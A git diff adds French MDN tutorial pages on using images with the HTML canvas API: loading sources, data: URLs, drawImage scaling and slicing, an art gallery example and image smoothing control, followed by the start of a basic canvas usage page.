+<span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="keyword token">false</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+img<span class="punctuation token">.</span>src <span class="operator token">=</span> <span class="string token">'myImage.png'</span><span class="punctuation token">;</span> <span class="comment token">// définit le chemin de la source</span></code></pre>
+
+<p><span id="result_box" lang="fr"><span>Si vous n'utilisez qu'une image externe, cela peut être une bonne approche, mais une fois que vous avez besoin de suivre plus d'une image, vous devez recourir à quelque chose de plus intelligent.</span> <span>Il est hors de portée de ce tutoriel de regarder les tactiques de préchargement d'images, mais vous devriez garder cela à l'esprit.</span></span></p>
+
+<h4 id="Int.C3.A9gration_d.27une_image_via_une_URL_data" name="Int.C3.A9gration_d.27une_image_via_une_URL_data:">Intégration d'une image via une data: URL</h4>
+
+<p><span id="result_box" lang="fr"><span>Un autre moyen possible d'inclure des images est via les </span></span> <a class="external external-icon" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/data_URIs" rel="external" title="http://en.wikipedia.org/wiki/Data:_URL">data: url.</a><a href="https://developer.mozilla.org/fr/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">.</a> <span lang="fr"><span>.</span> <span>Les URL de données vous permettent de définir complètement une image en tant que chaîne de caractères codée en Base64 directement dans votre code.</span></span></p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">var</span> img <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Image</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>   <span class="comment token">// Crée un nouvel élément img</span>
+img<span class="punctuation token">.</span>src <span class="operator token">=</span> <span class="string token">'data:image/gif;base64,R0lGODlhCwALAIAAAAAA3pn/ZiH5BAEAAAEALAAAAAALAAsAAAIUhA+hkcuO4lmNVindo7qyrIXiGBYAOw=='</span><span class="punctuation token">;</span></code></pre>
+
+<p><span id="result_box" lang="fr"><span>L'un des avantages des URL de données est que l'image résultante est disponible immédiatement, sans autre aller-retour au serveur.</span> <span>Un autre avantage potentiel,'il est également possible d'encapsuler dans un fichier tous vos </span></span> <a href="https://developer.mozilla.org/fr/docs/Web/CSS" title="/en-US/docs/Web/CSS">CSS</a>, <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript" title="/en-US/docs/Web/JavaScript">JavaScript</a>, <a href="https://developer.mozilla.org/fr/docs/Web/HTML" title="/en-US/docs/Web/HTML">HTML</a> <span lang="fr"><span> et images, ce qui les rend plus portable vers d'autres endroits.</span></span></p>
+
+<p><span id="result_box" lang="fr"><span>Certains inconvénients de cette méthode sont que votre image n'est pas mise en cache, et pour les grandes images, l'URL encodée peut devenir assez longue.</span></span></p>
+
+<h3 id="drawImage" name="drawImage"><span class="short_text" id="result_box" lang="fr"><span>Utilisation des images d'une vidéo</span></span></h3>
+
+<p><span id="result_box" lang="fr"><span>Vous pouvez également utiliser les images d'une vidéo présentée par un élément </span></span> {{HTMLElement("video")}} <span lang="fr"><span> (même si la vidéo n'est pas visible).</span> <span>Par exemple, si vous avez un élément </span></span> {{HTMLElement("video")}} <span lang="fr"><span> avec l'ID "myvideo", vous pouvez faire :</span></span></p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">function</span> <span class="function token">getMyVideo</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> canvas <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'canvas'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span>canvas<span class="punctuation token">.</span>getContext<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">var</span> ctx <span class="operator token">=</span> canvas<span class="punctuation token">.</span><span class="function token">getContext</span><span class="punctuation token">(</span><span class="string token">'2d'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+    <span class="keyword token">return</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'myvideo'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p><span id="result_box" lang="fr"><span>Cela renvoie l'objet {{domxref ("HTMLVideoElement")}} pour la vidéo, qui, comme décrit précédemment, est l'un des objets pouvant être utilisé comme <code>CanvasImageSource</code>.</span></span></p>
+
+<h2 id="drawImage" name="drawImage">Dessin d'images</h2>
+
+<p>Une fois la référence à l'objet image source obtenue, on peut utiliser la méthode <code>drawImage()</code> pour l'afficher sur le canevas. Comme nous le verrons plus tard, la méthode <code>drawImage()</code> est surchargée et possède trois variantes différentes. Dans sa forme la plus basique, elle ressemble à ceci :</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.drawImage", "drawImage(image, x, y)")}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Dessine le <code>CanvasImageSource</code> spécifié par le paramètre <code>image</code> aux coordonnées (<code>x</code>, <code>y</code>).</span></span></dd>
+</dl>
+
+<div class="note">
+<p><span id="result_box" lang="fr"><span>Les images SVG doivent spécifier une largeur et une hauteur dans l'élément racine &lt;svg&gt;.</span></span></p>
+</div>
+
+<h4 id="Example_A_simple_line_graph" name="Example_A_simple_line_graph">Exemple: un graphique linéaire simple</h4>
+
+<p>Dans l'exemple suivant, nous utiliserons une image externe comme fond pour un petit graphique linéaire. L'utilisation d'images de fond peut rendre vos scripts considérablement plus légers puisqu'il n'est alors pas nécessaire de dessiner des arrières-plans élaborés. Une seule image est utilisée ici, on utilise donc le gestionnaire d'évènement <code>load</code> de l'objet image pour lancer les instructions de dessin. La méthode <code>drawImage()</code> place l'image de fond aux coordonnées (0,0), soit le coin supérieur gauche du canevas.</p>
+
+<pre class="brush: html line-numbers  language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>html</span><span class="punctuation token">&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>body</span> <span class="attr-name token">onload</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>draw();<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+   <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>canvas</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>canvas<span class="punctuation token">"</span></span> <span class="attr-name token">width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>180<span class="punctuation token">"</span></span> <span class="attr-name token">height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>150<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>canvas</span><span class="punctuation token">&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>body</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>html</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<pre class="brush: js;highlight[5] line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">function</span> <span class="function token">draw</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> ctx <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'canvas'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">getContext</span><span class="punctuation token">(</span><span class="string token">'2d'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">var</span> img <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Image</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  img<span class="punctuation token">.</span>onload <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    ctx<span class="punctuation token">.</span><span class="function token">drawImage</span><span class="punctuation token">(</span>img<span class="punctuation token">,</span> <span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">0</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    ctx<span class="punctuation token">.</span><span class="function token">beginPath</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    ctx<span class="punctuation token">.</span><span class="function token">moveTo</span><span class="punctuation token">(</span><span class="number token">30</span><span class="punctuation token">,</span> <span class="number token">96</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    ctx<span class="punctuation token">.</span><span class="function token">lineTo</span><span class="punctuation token">(</span><span class="number token">70</span><span class="punctuation token">,</span> <span class="number token">66</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    ctx<span class="punctuation token">.</span><span class="function token">lineTo</span><span class="punctuation token">(</span><span class="number token">103</span><span class="punctuation token">,</span> <span class="number token">76</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    ctx<span class="punctuation token">.</span><span class="function token">lineTo</span><span class="punctuation token">(</span><span class="number token">170</span><span class="punctuation token">,</span> <span class="number token">15</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    ctx<span class="punctuation token">.</span><span class="function token">stroke</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span><span class="punctuation token">;</span>
+  img<span class="punctuation token">.</span>src <span class="operator token">=</span> <span class="string token">'https://mdn.mozillademos.org/files/5395/backdrop.png'</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p><span class="short_text" id="result_box" lang="fr"><span>Le graphique résultant ressemble à ceci :</span></span></p>
+
+<p>{{EmbedLiveSample("Example_A_simple_line_graph", 220, 160, "https://mdn.mozillademos.org/files/206/Canvas_backdrop.png")}}</p>
+
+<h2 id="Mise_.C3.A0_l.27.C3.A9chelle" name="Mise_.C3.A0_l.27.C3.A9chelle">Mise à l'échelle</h2>
+
+<p>La seconde variante de la méthode <code>drawImage()</code> ajoute deux paramètres supplémentaires et permet de placer des images redimensionnées sur le canevas.</p>
+
+<h4 id="Example_Tiling_an_image" name="Example_Tiling_an_image">Exemple: Tapissage d'une image</h4>
+
+<p>Dans cet exemple, nous utiliserons une image comme papier-peint en la répétant plusieurs fois sur le canevas. Cette opération est réalisée simplement en faisant une boucle plaçant plusieurs fois l'image redimensionnée à différentes positions. Dans le code ci-dessous, la première boucle <code>for</code> s'occupe des lignes alors que la seconde gère les colonnes. L'image est redimensionnée à un tiers de sa taille originale, ce qui fait 50×38 pixels.</p>
+
+<div class="note">
+<p><strong>Note</strong> : les images peuvent devenir floues lorsqu'elles sont agrandies ou granuleuses si elles sont réduites. Il vaut mieux ne pas redimensionner une image contenant du texte devant rester lisible.</p>
+</div>
+
+<pre class="brush: html line-numbers  language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>html</span><span class="punctuation token">&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>body</span> <span class="attr-name token">onload</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>draw();<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+   <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>canvas</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>canvas<span class="punctuation token">"</span></span> <span class="attr-name token">width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>150<span class="punctuation token">"</span></span> <span class="attr-name token">height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>150<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>canvas</span><span class="punctuation token">&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>body</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>html</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">function</span> <span class="function token">draw</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> ctx <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'canvas'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">getContext</span><span class="punctuation token">(</span><span class="string token">'2d'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">var</span> img <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Image</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  img<span class="punctuation token">.</span>onload <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> i <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> i <span class="operator token">&lt;</span> <span class="number token">4</span><span class="punctuation token">;</span> i<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      <span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> j <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> j <span class="operator token">&lt;</span> <span class="number token">3</span><span class="punctuation token">;</span> j<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        ctx<span class="punctuation token">.</span><span class="function token">drawImage</span><span class="punctuation token">(</span>img<span class="punctuation token">,</span> j <span class="operator token">*</span> <span class="number token">50</span><span class="punctuation token">,</span> i <span class="operator token">*</span> <span class="number token">38</span><span class="punctuation token">,</span> <span class="number token">50</span><span class="punctuation token">,</span> <span class="number token">38</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="punctuation token">}</span>
+    <span class="punctuation token">}</span>
+  <span class="punctuation token">}</span><span class="punctuation token">;</span>
+  img<span class="punctuation token">.</span>src <span class="operator token">=</span> <span class="string token">'https://mdn.mozillademos.org/files/5397/rhino.jpg'</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p><span class="short_text" id="result_box" lang="fr"><span>Le canevas résultant ressemble à ceci :</span></span></p>
+
+<p>{{EmbedLiveSample("Example_Tiling_an_image", 160, 160, "https://mdn.mozillademos.org/files/251/Canvas_scale_image.png")}}</p>
+
+<h2 id="D.C3.A9coupage" name="D.C3.A9coupage">Découpage</h2>
+
+<p>La troisième et dernière variante de la méthode <code>drawImage()</code> possède huit nouveaux paramètres. On peut l'utiliser pour découper des parties d'une image source et les afficher sur le canevas.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.drawImage", "drawImage(image, sx, sy, sWidth, sHeight, dx, dy, dWidth, dHeight)")}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Cette fonction prend la zone de l'<code>image</code> source spécifiée par le rectangle dont le coin en haut à gauche est (<code>sx</code>, <code>sy</code>) et dont la largeur et la hauteur sont <code>sWidth</code> et <code>sHeight</code> et le dessine dans le canevas en le plaçant sur le canevas</span> <span>(<code>dx</code>, <code>dy</code>) et le redimensionner à la taille spécifiée par <code>dWidth</code> et <code>dHeight</code>.</span></span><img alt="" class="internal" src="/@api/deki/files/1203/=Canvas_drawimage.jpg" style="float: right;"></dd>
+</dl>
+
+<p><span id="result_box" lang="fr"><span>Pour vraiment comprendre ce que cela fait, il peut être utile de regarder l'image à droite.</span> <span>Les quatre</span></span><span lang="fr"><span> premiers paramètres définissent l'emplacement et la taille du morceau de l'image source.</span> <span>Les quatre derniers paramètres définissent le rectangle dans lequel dessiner l'image sur le canevas de destination.</span></span></p>
+
+<p>Le découpage peut être un outil utile pour réaliser des compositions. Vous pouvez disposer tous les éléments dans un seul fichier image et utiliser cette méthode pour composer un dessin complet. Par exemple, si vous voulez réaliser un graphique, vous pouvez utiliser une image PNG contenant tout le texte nécessaire dans un seul fichier et, selon vos données, changer l'échelle de votre graphique sans trop de difficultés. Un autre avantage est qu'il n'est pas nécessaire de charger chaque image individuellement.</p>
+
+<h4 id="Example_Framing_an_image" name="Example_Framing_an_image">Exemple : encadrer une image</h4>
+
+<p>Dans cet exemple, nous utiliserons le même rhinocéros que plus haut, mais sa tête sera coupée et composée avec un cadre. L'image du cadre fournit une ombre portée qui a été enregistrée dans une image PNG 24 bits. Comme les images PNG 24 bits comportent un canal alpha complet de 8 bits, contrairement aux images GIF et PNG 8 bits, elle peut être placée sur n'importe quel fond sans avoir à se préoccuper de la couleur de transition.</p>
+
+<pre class="brush: html line-numbers  language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>html</span><span class="punctuation token">&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>body</span> <span class="attr-name token">onload</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>draw();<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+   <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>canvas</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>canvas<span class="punctuation token">"</span></span> <span class="attr-name token">width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>150<span class="punctuation token">"</span></span> <span class="attr-name token">height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>150<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>canvas</span><span class="punctuation token">&gt;</span></span>
+   <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span><span class="language-css style-attr token"><span class="attr-name token"> <span class="attr-name token">style</span></span><span class="punctuation token">="</span><span class="attr-value token"><span class="property token">display</span><span class="punctuation token">:</span>none<span class="punctuation token">;</span></span><span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+     <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>img</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>source<span class="punctuation token">"</span></span> <span class="attr-name token">src</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>https://mdn.mozillademos.org/files/5397/rhino.jpg<span class="punctuation token">"</span></span> <span class="attr-name token">width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>300<span class="punctuation token">"</span></span> <span class="attr-name token">height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>227<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+     <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>img</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>frame<span class="punctuation token">"</span></span> <span class="attr-name token">src</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>https://mdn.mozillademos.org/files/242/Canvas_picture_frame.png<span class="punctuation token">"</span></span> <span class="attr-name token">width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>132<span class="punctuation token">"</span></span> <span class="attr-name token">height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>150<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+   <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>body</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>html</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">function</span> <span class="function token">draw</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> canvas <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'canvas'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">var</span> ctx <span class="operator token">=</span> canvas<span class="punctuation token">.</span><span class="function token">getContext</span><span class="punctuation token">(</span><span class="string token">'2d'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  <span class="comment token">// Draw slice</span>
+  ctx<span class="punctuation token">.</span><span class="function token">drawImage</span><span class="punctuation token">(</span>document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'source'</span><span class="punctuation token">)</span><span class="punctuation token">,</span>
+                <span class="number token">33</span><span class="punctuation token">,</span> <span class="number token">71</span><span class="punctuation token">,</span> <span class="number token">104</span><span class="punctuation token">,</span> <span class="number token">124</span><span class="punctuation token">,</span> <span class="number token">21</span><span class="punctuation token">,</span> <span class="number token">20</span><span class="punctuation token">,</span> <span class="number token">87</span><span class="punctuation token">,</span> <span class="number token">104</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  <span class="comment token">// Draw frame</span>
+  ctx<span class="punctuation token">.</span><span class="function token">drawImage</span><span class="punctuation token">(</span>document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'frame'</span><span class="punctuation token">)</span><span class="punctuation token">,</span> <span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">0</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p><span id="result_box" lang="fr"><span>Nous avons pris une approche différente pour charger les images cette fois.</span> <span>Au lieu de les charger en créant de nouveaux objets {{domxref ("HTMLImageElement")}}, nous les avons incluses comme balises </span></span> {{HTMLElement("img")}} <span lang="fr"><span>directement dans notre source HTML et avons récupéré les images depuis ceux-ci.</span> <span>Les images sont masquées à partir de la sortie, en définissant la propriété CSS {{cssxref ("display")}} à aucune.</span></span></p>
+
+<p>{{EmbedLiveSample("Example_Framing_an_image", 160, 160, "https://mdn.mozillademos.org/files/226/Canvas_drawimage2.jpg")}}</p>
+
+<p><span id="result_box" lang="fr"><span>Le script lui-même est très simple.</span> <span>Chaque {{HTMLElement ("img")}} se voit attribuer un attribut ID, ce qui facilite leur sélection en utilisant {{domxref ("document.getElementById ()")}}.</span> <span>Nous utilisons simplement <code>drawImage ()</code> pour découper le rhinocéros de la première image et le mettre à l'échelle sur le canevas, puis dessiner le cadre par le haut en utilisant un deuxième appel <code>drawImage ()</code>.</span></span></p>
+
+<h2 id="Art_gallery_example" name="Art_gallery_example">Exemple d'une galerie d'art</h2>
+
+<p>Dans le dernier exemple de ce chapitre, nous présenterons une petite galerie d'art. Cette galerie est constituée d'un tableau contenant plusieurs images. Lorsque la page est chargée, un élément {{HTMLElement("canvas")}} est inséré pour chaque image et un cadre est dessiné autour.</p>
+
+<p>Dans notre cas, toutes les images ont une largeur et une hauteur fixes, ainsi que le cadre qui sera dessiné autour. Le script pourrait être amélioré afin d'utiliser la largeur et la hauteur de l'image pour que le cadre s'adapte parfaitement à ses dimensions.</p>
+
+<p>Le code ci-dessous devrait s'expliquer de lui-même. <span id="result_box" lang="fr"><span>Nous parcourons le conteneur {{domxref ("document.images")}}</span></span> et nous ajoutons de nouveaux éléments canvas. La seule chose notable est probablement, pour ceux qui ne sont pas familiers avec le DOM, l'utilisation de la méthode {{domxref("Node.insertBefore")}} . <code>insertBefore()</code> est une méthode du nœud parent (une cellule de tableau) de l'élément (l'image) avant lequel on désire insérer le nouveau nœud (l'élément canvas).</p>
+
+<pre class="brush: html notranslate">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+     &lt;table&gt;
+      &lt;tr&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5399/gallery_1.jpg"&gt;&lt;/td&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5401/gallery_2.jpg"&gt;&lt;/td&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5403/gallery_3.jpg"&gt;&lt;/td&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5405/gallery_4.jpg"&gt;&lt;/td&gt;
+      &lt;/tr&gt;
+      &lt;tr&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5407/gallery_5.jpg"&gt;&lt;/td&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5409/gallery_6.jpg"&gt;&lt;/td&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5411/gallery_7.jpg"&gt;&lt;/td&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5413/gallery_8.jpg"&gt;&lt;/td&gt;
+      &lt;/tr&gt;
+     &lt;/table&gt;
+     &lt;img id="frame" src="https://mdn.mozillademos.org/files/242/Canvas_picture_frame.png" width="132" height="150"&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p><span id="result_box" lang="fr"><span>Et voici quelques CSS pour rendre les choses agréables :</span></span></p>
+
+<pre class="brush: css notranslate">body {
+  background: 0 -100px repeat-x url(https://mdn.mozillademos.org/files/5415/bg_gallery.png) #4F191A;
+  margin: 10px;
+}
+
+img {
+  display: none;
+}
+
+table {
+  margin: 0 auto;
+}
+
+td {
+  padding: 15px;
+}
+</pre>
+
+<p><span id="result_box" lang="fr"><span>Le lien pour tout cela, c'est le JavaScript pour dessiner les images encadrées :</span></span></p>
+
+<pre class="brush: js notranslate">function draw() {
+
+  // Boucle à travers toutes les images
+  for (var i = 0; i &lt; document.images.length; i++) {
+
+    // N'ajoute pas de canevas pour l'image du cadre
+    if (document.images[i].getAttribute('id') != 'frame') {
+
+      // Crée un élément canvas
+      canvas = document.createElement('canvas');
+      canvas.setAttribute('width', 132);
+      canvas.setAttribute('height', 150);
+
+      // Insère avant l'image
+      document.images[i].parentNode.insertBefore(canvas,document.images[i]);
+
+      ctx = canvas.getContext('2d');
+
+      // Dessine l'image sur canvas
+      ctx.drawImage(document.images[i], 15, 20);
+
+      // Ajoute un cadre
+      ctx.drawImage(document.getElementById('frame'), 0, 0);
+    }
+  }
+}</pre>
+
+<p>{{EmbedLiveSample("Art_gallery_example", 725, 400)}}</p>
+
+<h2 id="Contrôle_du_comportement_de_la_mise_à_léchelle_de_limage"><span id="result_box" lang="fr"><span>Contrôle du comportement de la mise à l'échelle de l'image</span></span></h2>
+
+<p><span id="result_box" lang="fr"><span>Comme mentionné précédemment, la mise à l'échelle des images peut entraîner des objets flous ou granuleux en raison du processus de mise à l'échelle.</span> <span>Vous pouvez utiliser la propriété </span></span> {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled", "imageSmoothingEnabled")}} <span lang="fr"><span> du contexte de dessin pour contrôler l'utilisation des algorithmes de lissage d'image lors de la mise à l'échelle des images dans votre contexte.</span> <span>Par défaut, cela est vrai, ce qui signifie que les images seront lissées lors de la mise à l'échelle.</span> <span>Vous pouvez désactiver cette fonctionnalité comme ceci :</span></span></p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js">ctx<span class="punctuation token">.</span>mozImageSmoothingEnabled <span class="operator token">=</span> <span class="keyword token">false</span><span class="punctuation token">;</span>
+ctx<span class="punctuation token">.</span>webkitImageSmoothingEnabled <span class="operator token">=</span> <span class="keyword token">false</span><span class="punctuation token">;</span>
+ctx<span class="punctuation token">.</span>msImageSmoothingEnabled <span class="operator token">=</span> <span class="keyword token">false</span><span class="punctuation token">;</span>
+ctx<span class="punctuation token">.</span>imageSmoothingEnabled <span class="operator token">=</span> <span class="keyword token">false</span><span class="punctuation token">;</span></code></pre>
+
+<p>{{PreviousNext("Dessin_de_texte_avec_canvas", "Tutoriel_canvas/Transformations" )}}</p>
diff --git a/files/fr/web/api/canvas_api/tutoriel_canvas/utilisation_de_base/index.html b/files/fr/web/api/canvas_api/tutoriel_canvas/utilisation_de_base/index.html
new file mode 100644
index 0000000000..6182dee589
--- /dev/null
+++ b/files/fr/web/api/canvas_api/tutoriel_canvas/utilisation_de_base/index.html
@@ -0,0 +1,149 @@
+---
+title: Utilisation de base des canvas
+slug: Web/API/Canvas_API/Tutoriel_canvas/Utilisation_de_base
+tags:
+  - Canvas
+  - Graphismes
+  - HTML
+  - Tutoriel_canvas
+  - Tutoriels
+translation_of: Web/API/Canvas_API/Tutorial/Basic_usage
+---
+<p>{{CanvasSidebar}} {{PreviousNext("Tutoriel_canvas", "Tutoriel_canvas/Formes_géométriques")}}</p>
+
+<h2 id="Lélément_&lt;canvas>">L'élément <code>&lt;canvas&gt;</code></h2>
+
+<p>Commençons par regarder l'élément {{HTMLElement("canvas")}} lui-même.</p>
+
+<pre class="brush: html notranslate">&lt;canvas id="tutoriel" width="150" height="150"&gt;&lt;/canvas&gt;
+</pre>
+
